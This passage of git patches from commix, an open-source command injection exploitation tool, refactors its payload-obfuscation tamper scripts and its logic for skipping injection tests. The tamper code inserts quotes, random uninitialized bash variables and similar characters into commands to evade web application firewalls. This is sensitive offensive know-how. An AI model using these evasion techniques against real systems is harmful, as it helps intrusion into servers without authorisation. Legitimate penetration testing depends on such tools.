m: rep[re.escape(m.group(0))], payload) + word = "tokens" + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + payload = payload.replace(word,_) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.EVAL_BASED_STATE != False: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 44729569a9..f5d3d5dbd5 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -12,9 +12,8 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re -import sys -from src.utils import menu from src.utils import settings """ @@ -30,20 +29,12 @@ def tamper(payload): def add_single_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "''I''F''S": "IFS", - "''i''f": "if", - "''t''h''e''n": "then", - "''e''l''s''e": "else", - "''f''i": "fi", - "''s''t''r": "str", - "''c''m''d": "cmd", - "''c''ha''r": "char" - } + obf_char = "''" payload = re.sub(r'([b-zD-Z])', r"''\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index e894055abf..51a7ecabef 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -14,10 +14,6 @@ """ import re -import sys -import random -import string -from src.utils import menu from src.utils import settings """ @@ -34,20 +30,12 @@ def tamper(payload): def add_uninitialized_variable(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "${uv}I${uv}F${uv}S": "IFS", - "${uv}i${uv}f": "if", - "${uv}t${uv}h${uv}e${uv}n": "then", - "${uv}e${uv}l${uv}s${uv}e": "else", - "${uv}f${uv}i": "fi", - "${uv}s${uv}t${uv}r": "str", - "${uv}c${uv}m${uv}d": "cmd", - "${uv}c${uv}ha${uv}r": "char" - } + obf_char = "${uv}" payload = re.sub(r'([b-zD-Z])', r"${uv}\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/utils/settings.py b/src/utils/settings.py index 69f87ad17d..d5bef6f5f7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1062,6 +1062,17 @@ class AUTH_TYPE(object): "uninitializedvariable" ] +IGNORE_TAMPER_TRANSFORMATION = [ + "IFS", + "if", + "then", + "else", + "fi", + "str", + "cmd", + "char" +] + # HTTP Errors BAD_REQUEST = "400" UNAUTHORIZED_ERROR = "401" From 6cca54e500be0a3435177117669dc6b9d2a6614a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Jun 2023 08:48:31 +0300 Subject: [PATCH 0313/1023] Minor improvement regarding skipping further tests involving target that an injection point has already been detected. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 50 ++++++++ src/core/injections/controller/controller.py | 124 +++++-------------- src/utils/settings.py | 2 +- 4 files changed, 85 insertions(+), 92 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 255ce6cbb4..b2be385d7d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8e7362ff5b..584f8a6db1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -112,6 +112,56 @@ def check_custom_injection_marker(url): common.invalid_option(procced_option) pass + +def skipping_technique(technique, injection_type, state): + if settings.VERBOSITY_LEVEL != 0 and state != True: + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + print(settings.print_debug_msg(debug_msg)) + +""" +Skipping of code injection tests. +""" +def skip_code_injection_tests(): + while True: + message = "Skipping of code injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_CODE_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + +""" +Skipping of further command injection tests. +""" +def skip_command_injection_tests(): + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + _ = "" + else: + _ = "further " + while True: + message = "Skipping of "+ _ +"command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + if settings.SKIP_COMMAND_INJECTIONS: + settings.SKIP_COMMAND_INJECTIONS = False + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + """ The available mobile user agents. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6da7669e24..2f7025e63d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -40,6 +40,13 @@ Checks if the testable parameter is exploitable. """ +def basic_level_checks(): + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_WARNINGS = False + settings.IDENTIFIED_PHPINFO = False + """ Check for previously stored sessions. """ @@ -195,105 +202,69 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = "results-based OS command injection" technique = "classic command injection technique" + settings.CLASSIC_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): - settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - while True: - settings.CLASSIC_STATE = True - message = "Skipping of code injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_CODE_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + settings.CLASSIC_STATE = True + checks.skip_command_injection_tests() else: settings.CLASSIC_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.CLASSIC_STATE == None: + checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) # Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" + settings.EVAL_BASED_STATE = None if not settings.SKIP_CODE_INJECTIONS: if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS: - settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - while True: - settings.EVAL_BASED_STATE = True - message = "Skipping of further command injection checks is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + settings.EVAL_BASED_STATE = True + if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + checks.skip_command_injection_tests() else: settings.EVAL_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.EVAL_BASED_STATE == None: + checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) # Check if it's exploitable via time-based command injection technique. def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "blind OS command injection" technique = "time-based command injection technique" + settings.TIME_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): - settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.TIME_BASED_STATE = True + checks.skip_command_injection_tests() else: settings.TIME_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.TIME_BASED_STATE == None: + checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) # Check if it's exploitable via file-based command injection technique. def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "semi-blind command injection" technique = "file-based command injection technique" + settings.FILE_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): - settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.FILE_BASED_STATE == None: + checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + if settings.PERFORM_BASIC_SCANS: + basic_level_checks() + inject_http_headers = False if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): @@ -340,13 +311,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the target URL." + debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." + debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): @@ -356,21 +327,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - message = "Skipping of further command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + checks.skip_command_injection_tests() if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: warn_msg = "Heuristic (basic) tests shows that " @@ -396,13 +353,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - classic_command_injection_technique(url, timesec, filename, http_request_method) else: classic_command_injection_technique(url, timesec, filename, http_request_method) if not settings.IDENTIFIED_COMMAND_INJECTION: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : @@ -682,17 +638,6 @@ def perform_checks(url, http_request_method, filename): if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] - def basic_level_checks(): - if settings.MULTI_TARGETS or settings.STDIN_PARSING: - settings.PERFORM_BASIC_SCANS = True - else: - settings.PERFORM_BASIC_SCANS = False - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False - settings.IDENTIFIED_COMMAND_INJECTION = False - settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False - timesec = settings.TIMESEC # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: @@ -721,9 +666,6 @@ def basic_level_checks(): menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) - if settings.PERFORM_BASIC_SCANS: - basic_level_checks() - # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME diff --git a/src/utils/settings.py b/src/utils/settings.py index d5bef6f5f7..b71675b7f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6e57cbbdcc35433370fe50d8cb16c21d3b65c1eb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Jun 2023 09:11:36 +0300 Subject: [PATCH 0314/1023] Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/tamper/uninitializedvariable.py | 9 ++++++--- src/utils/settings.py | 2 +- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b2be385d7d..efabe5c04b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 584f8a6db1..1bdf1d08e2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1386,7 +1386,7 @@ def other_symbols(payload): payload = dollaratsigns.tamper(payload) # Check for uninitialized variable - if payload.count("${uv}") >= 2 and settings.TARGET_OS == "unix": + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 51a7ecabef..832c114365 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -14,10 +14,12 @@ """ import re +import random +import string from src.utils import settings """ -About: Adds uninitialized bash variables between the characters of each command of the generated payloads. +About: Adds (randomly generated) uninitialized bash variables, between the characters of each command of the generated payloads. Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ @@ -30,8 +32,9 @@ def tamper(payload): def add_uninitialized_variable(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "${uv}" - payload = re.sub(r'([b-zD-Z])', r"${uv}\1", payload) + num = 2 + obf_char = "${" + ''.join(random.choice(string.ascii_letters) for x in range(num)) + "}" + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/utils/settings.py b/src/utils/settings.py index b71675b7f9..1da201a3a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d6465535e1359310e9c5713d2228def425f39719 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Jun 2023 07:37:58 +0300 Subject: [PATCH 0315/1023] Minor update --- src/core/injections/controller/checks.py | 47 ++++++------------------ src/utils/settings.py | 2 +- 2 files changed, 13 insertions(+), 36 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1bdf1d08e2..b12d958545 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1210,7 +1210,7 @@ def list_tamper_scripts(): Tamper script checker """ def tamper_scripts(stored_tamper_scripts): - if menu.options.tamper and stored_tamper_scripts is False: + if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) @@ -1348,17 +1348,15 @@ def whitespace_check(payload): """ def other_symbols(payload): # Check for reversed (characterwise) user-supplied operating system commands. - if payload.count("|rev") >= 1 and settings.TARGET_OS == "unix": + if payload.count("|rev") >= 1 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['rev']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",rev" else: menu.options.tamper = "rev" - from src.core.tamper import rev - payload = rev.tamper(payload) # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2 and settings.TARGET_OS == "unix": + if payload.count("`") >= 2 and settings.TARGET_OS != "win": if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: @@ -1372,99 +1370,81 @@ def other_symbols(payload): menu.options.tamper = menu.options.tamper + ",caret" else: menu.options.tamper = "caret" - from src.core.tamper import caret - payload = caret.tamper(payload) # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10 and settings.TARGET_OS == "unix": + if payload.count("$@") >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" else: menu.options.tamper = "dollaratsigns" - from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) # Check for uninitialized variable - if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS == "unix": + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" else: menu.options.tamper = "uninitializedvariable" - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS == "unix": + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" else: menu.options.tamper = "slash2env" - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) """ Check for (multiple) added back slashes between the characters of the generated payloads. """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15 and settings.TARGET_OS == "unix": + if payload.count("\\") >= 15 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" else: menu.options.tamper = "backslashes" - from src.core.tamper import backslashes - payload = backslashes.tamper(payload) """ Check for quotes in the generated payloads. """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\"") and settings.TARGET_OS == "unix": + if payload.endswith("\"") and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" else: menu.options.tamper = "nested" - from src.core.tamper import nested - payload = nested.tamper(payload) # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10 and settings.TARGET_OS == "unix": + if payload.count("\"") >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" else: menu.options.tamper = "doublequotes" - from src.core.tamper import doublequotes - payload = doublequotes.tamper(payload) # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10 and settings.TARGET_OS == "unix": + if payload.count("''") >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" else: menu.options.tamper = "singlequotes" - from src.core.tamper import singlequotes - payload = singlequotes.tamper(payload) """ Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload and settings.TARGET_OS == "unix": + if "usleep" in payload and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" else: menu.options.tamper = "sleep2usleep" - from src.core.tamper import sleep2usleep - payload = sleep2usleep.tamper(payload) elif "timeout" in payload: if not settings.TAMPER_SCRIPTS['sleep2timeout']: @@ -1472,8 +1452,6 @@ def recognise_payload(payload): menu.options.tamper = menu.options.tamper + ",sleep2timeout" else: menu.options.tamper = "sleep2timeout" - from src.core.tamper import sleep2timeout - payload = sleep2timeout.tamper(payload) is_decoded = False encoded_with = "" @@ -1562,9 +1540,8 @@ def check_for_stored_tamper(payload): Perform payload modification """ def perform_payload_modification(payload): - settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor diff --git a/src/utils/settings.py b/src/utils/settings.py index 1da201a3a7..22024def71 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 031c401acce9163d9a3c69752b8318b555541513 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 14 Jun 2023 07:32:58 +0300 Subject: [PATCH 0316/1023] Minor code refactoring --- .../techniques/time_based/tb_enumeration.py | 14 ++--- .../techniques/time_based/tb_file_access.py | 4 +- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 8 +-- .../techniques/time_based/tb_payloads.py | 24 ++++----- src/core/injections/controller/checks.py | 52 +++++++++---------- .../techniques/classic/cb_enumeration.py | 20 +++---- .../techniques/classic/cb_file_access.py | 4 +- .../techniques/classic/cb_injector.py | 2 +- .../techniques/classic/cb_payloads.py | 8 +-- .../techniques/eval_based/eb_enumeration.py | 18 +++---- .../techniques/eval_based/eb_file_access.py | 4 +- .../techniques/eval_based/eb_payloads.py | 8 +-- .../techniques/file_based/fb_enumeration.py | 18 +++---- .../techniques/file_based/fb_file_access.py | 4 +- .../techniques/file_based/fb_handler.py | 10 ++-- .../techniques/file_based/fb_injector.py | 2 +- .../techniques/file_based/fb_payloads.py | 12 ++--- .../tempfile_based/tfb_enumeration.py | 16 +++--- .../tempfile_based/tfb_file_access.py | 4 +- .../techniques/tempfile_based/tfb_handler.py | 6 +-- .../techniques/tempfile_based/tfb_injector.py | 8 +-- .../techniques/tempfile_based/tfb_payloads.py | 24 ++++----- src/core/requests/requests.py | 10 ++-- src/core/shells/bind_tcp.py | 6 +-- src/core/shells/reverse_tcp.py | 14 ++--- src/core/tamper/backslashes.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/nested.py | 4 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/settings.py | 8 ++- 39 files changed, 170 insertions(+), 166 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 919491f8af..45eb92f62c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -66,7 +66,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -80,7 +80,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if target_os: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: @@ -92,7 +92,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, distro_name = output if len(distro_name) != 0: target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -112,7 +112,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -129,7 +129,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -147,7 +147,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, 